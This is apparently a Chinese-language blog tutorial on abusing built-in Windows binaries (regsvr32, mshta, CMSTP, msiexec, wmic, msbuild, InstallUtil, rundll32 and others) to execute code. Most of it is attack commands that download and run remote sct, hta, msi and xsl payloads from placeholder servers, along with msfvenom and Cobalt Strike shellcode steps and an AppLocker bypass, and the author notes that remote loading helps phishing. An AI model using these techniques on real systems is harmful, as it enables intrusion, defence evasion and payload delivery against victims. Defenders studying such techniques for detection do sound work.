regsvr32
Regsvr32是什么?
Regsvr32命令用来向系统注册控件或者卸载控件的命令。
1 | 语法:Regsvr32 [/s][/u] [/n] [/i[:cmdline]] <dllname> |
如何使用regsvr32执行exe?
首先准备一个sct文件放到服务器上,文件内容如下
1 | <?XML version="1.0"?> |
将这个文件保存好放到服务器上,再通过如下命令加载执行
1 | regsvr32 /u /s /i:http://xx.xxx.xx.xxx:8011/test.sct scrobj.dll |
MSHTA
什么是MSHTA?
mshta是一个可以用来执行hta文件的命令
1 | mshta http://xxx.xxx.xxx.xxx:801/download/file.ext |
hta文件内容如下
1 | <HTML> |
Control
控制面板就不用多讲了,直接看如何通过control去执行命令,首先将如下的内容编译为dll
1 | #include "stdafx.h" |
将生成的dll文件重命名为cpl,通过下面的命令执行cpl文件,加载cpl文件需要使用绝对路径
1 | control.exe c:\xxxx\xxxxxxx\xxxxx.cpl |
也可以通过其他的方式加载执行
1 | rundll32.exe shell32.dll,Control_RunDLL C:\xx\xxxx\xxx\Dll4.cpl |
CMSTP
CMSTP是一个与Microsoft连接管理器配置文件安装程序关联的二进制文件。它接受INF文件,这些文件可以通过恶意命令武器化,以脚本(SCT)和DLL的形式执行任意代码。
如何使用cmstp执行sct脚本?
首先将我们准备好的sct文件上传到web上,再编写inf文件去加载远程的sct文件,inf文件内容如下
1 | [version] |
使用cmst调用inf脚本加载远程sct文件
1 | cmstp.exe /s xxx.inf |
msiexec
msiexec是什么?
msiexec是一个windows系统自带的命令,可以用来安装Windows Installer安装包(MSI)
如何制作msi文件?
我们知道msiexec只能执行msi文件,所以我们有必要了解msi文件该如何制作
首先可以使用msf制作msi
1 | msfvenom -p windows/exec CMD=cmd.exe -f msi > cmd.msi |
使用Advanced Installer制作msi文件,首先创建一个工程,创建好以后界面如下:
找到用户自定义行为,加载文件,配置加载cmd文件
还需要在生成的时候进行设置,设置后build即可生成一个msi文件
安装后我们的命令就会被执行
如何使用msiexec执行?
方法一:直接双击执行
方法二: 加载本地文件
1 | msiexec /q /i test.msi |
方法三:远程加载
1 | msiexec /q /i http://192.168.0.107/cmd.msi |
forfiles
forfiles可以选择文件并在其上运行命令。
1 | forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe |
wmic
首先准备一个xsl文件,文件内容如下
1 | <?xml version='1.0'?> |
将这个文件上传到web服务器上,再通过下面的命令加载执行,地址那需要加双引号,否则会有异常
1 | wmic process get brief /format:"http://192.168.0.107:8080/launcher.xsl" |
Msxsl
msxsl虽然可以加载远程的文件执行,但是它不是windows自带的,需要去下载,好在这个文件本身也不大,就20k的样子,可以直接传给目标主机。
通过如下方式执行xsl
1 | msxsl.exe http://xxx.xxx.xxx.xxx:8011/test.xsl http://xx.xxx.xx.xx:8011/test.xsl |
msbuild
使用msbuild可以编译xml c#的项目文件,msbuild.exe并不在windows的环境变量中,因此需要绝对路径进行加载。
如何使用msbuild执行?
首先我们准备一个xml的模板,下载好后使用cs生成一个c#的shellcode,对xml中执行shellcode部分的内容进行替换,使用如下命令加载xml文件
1 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe 1.xml |
CSC+Installutil
csc是一个C#的命令行编译工具,可以用来编译.cs文件。
Installer工具是一个命令行实用程序,允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源。
如何利用?
首先使用CS生成一个c#的shellcode,将生成的shellcode文件插入到InstallUtil-Shellcode-cs这个模板中,使用如下命令进行编译
1 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:C:\Users\admin\Desktop\xxxx\SharpCat.exe /unsafe C:\Users\admin\Desktop\xxx\InstallUtil-Shellcode.cs |
将生成的exe上传到目标主机,使用如下命令进行加载执行
1 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U SharpCat.exe |
PsExec
微软于2006年7月收购sysinternals公司,PsExec是SysinternalsSuite的小工具之一,是一种轻量级的telnet替代品,允许在其他系统上执行进程,完成控制台应用程序的完全交互,而无需手动安装客户端软件,并且可以获得与控制台应用程序相当的完全交互性。
1 | PsExec.exe -accepteula -d -s msiexec.exe /q /i http://xxx:999/cmd.msi |
WSC
什么是WSC?
Windows Script Components (WSC),以前称为Scriplets,是一种以容易的方式开发强大的COM组件的技术。 WSC可以用任何实现了ActiveX脚本接口的脚本语言来编写,这意味着PerlScript代码单元可以封装为Windows脚本组件。
怎么使用WSC执行命令?
首先我们创建一个wsc文件,文件内容如下:
1 | <?xml version="1.0"?> |
再创建一个js文件,文件内容如下
1 | GetObject("script:C:\\Users\\jerry\\Desktop\\test666.wsc"); |
最后通过csript 1.js执行命令
也可以将WSC文件挂载到远程,修改1.js中的内容,也可以执行命令
1 | GetObject("script:http://xxx.xxx.xx.xx:xxx/test666"); |
IEExec(利用失败)
IEExec是一个Microsoft二进制文件,它是.NET Framework(v2.0.50727)的一部分,并且能够通过指定URL运行在远程目标上托管的应用程序。由于IEExec是Microsoft受信任的实用程序,因此攻击者可以绕过AppLocker和其他应用程序白名单解决方案来运行可执行文件。
使用这种方式首先要禁用代码访问策略,允许执行.net代码,使用管理员权限运行如下命令
1 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe -s off |
CasPol.exe文件在有些win10中和win2012中没有在v2.2.50727目录下,在v4.0.30319目录下,但是这个里面的CasPol没有-s参数。
使用CS生成一个C#的shellcode并放到如下的执行模板中
1 | using System; |
将该文件编译为exe,并且放到web上,使用如下命令进行加载
1 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe http://xxx.xxx.xx.xx:803/test.exe |
这里我测试虽然请求了远程的地址,但是并没有上线,原因未知,这种方式比较鸡肋,因为我在其他的windows10和2012中没有找到ieexec.exe这个文件。
rundll32
Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。
可以使用下面的方式执行本地exe文件
1 | rundll32.exe url.dll,OpenURL calc.exe |
除了直接加载exe,也可以通过如下方式加载。
首先编写一个.url文件,文件内容如下:
1 | [InternetShortcut] |
使用rundll32加载url文件执行exe
1 | rundll32.exe ieframe.dll,OpenURL C:\Users\jerry\Desktop\test.url |
如何使用rundll32执行其他脚本?
加载js文件
首先准备一个js文件,内容如下:
1 | WScript.Echo("1"); |
使用rundll32加载js文件
1 | rundll32.exe url.dll,OpenURL C:\Users\jerry\Desktop\test.js |
加载hta文件
准备一个hta文件,内容如下:
1 | <HTML> |
使用如下命令加载hta文件
1 | rundll32.exe url.dll,OpenURLA C:\Users\jerry\Desktop\test.hta |
如何使用rundll32加载远程文件?
通过调用WScript.shell组件加载mshta.exe远程加载exe命令执行
1 | rundll32 javascript:"\..\mshtml,RunHTMLApplication ";new%20ActiveXObject("WScript.Shell").Run("C:/Windows/System32/mshta.exe http://xxx.xxx.xxx.xxx:8011/test.hta",0,true);self.close(); |
pubprn.vbs(利用失败)
我在windows10下测试,命令如下,提示找不到路径
1 | C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:http://xxxx:8011/test.sct |
在2012中进行测试,发现虽然会可以找到这个路径进行加载,但是不会执行sct文件。
Odbcconf
ODBCCONF.exe是一个命令行工具,它允许您配置ODBC驱动程序和数据源名称,可能在以后的版本会删除,可以使用PowerShell命令来管理驱动程序和数据源。使用ODBCCONF可以加载任意的dll文件
首先准备一个dll文件,使用如下命令进行加载
1 | odbcconf.exe /a {regsvr C:\shell.dll} |
需要注意生成的dll文件要和系统的版本对应,否则执行会报错
winrm
winrm.vbs(一个位于system32目录下的具有Windows签名的脚本文件)可以被用来调用用户定义的XSL文件,从而导致任意的、没有签名的代码执行。
如何利用winrm执行?
首先创建一个目录,并且将cscript.exe复制到这个目录下
1 | copy c:\Windows\System32\cscript.exe xxx |
准备一个WsmPty.xsl文件,也放到该目录下,文件内容如下:
1 | <?xml version='1.0'?> |
使用如下命令运行
1 | cscript.exe //nologo C:\Windows\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty |
regasm
RegAsm读取程序集中的元数据,并将所需项添加到注册表中。注册表允许 COM 客户端以透明方式创建 .NET Framework 类。 在注册一个类之后,任何 COM 客户端都可以像使用 COM 类一样使用它。 类仅在安装程序集时注册一次。 只有实际注册程序集中的类实例之后才能从 COM 中创建它们。
如何利用?
首先使用CS生成一个C#的shellcode,将shellcode插入到文章提供的模板中,使用如下命令编译运行
1 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:test.dll regasm.cs |
将生成的dll放置到目标主机上,使用下面的命令加载执行
1 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /U test.dll |
Pcalua
Pcalua是Windows进程兼容性助理(Program Compatibility Assistant)的一个组件。
如何使用?
1 | Pcalua -m -a calc.exe |
总结
通过上面的学习,我们可以发现在windows下能执行文件的方式挺多的,但是我们稍微区分一下可以根据是否可以远程加载文件进行区分,可以加载远程文件的方式可以对钓鱼提供某种便利
支持远程加载
- regsvr32
- MSHTA
- CMSTP
- msiexec
- wmic
- msxsl
- WSC
- rundll32(通过调用其他方式远程加载)
参考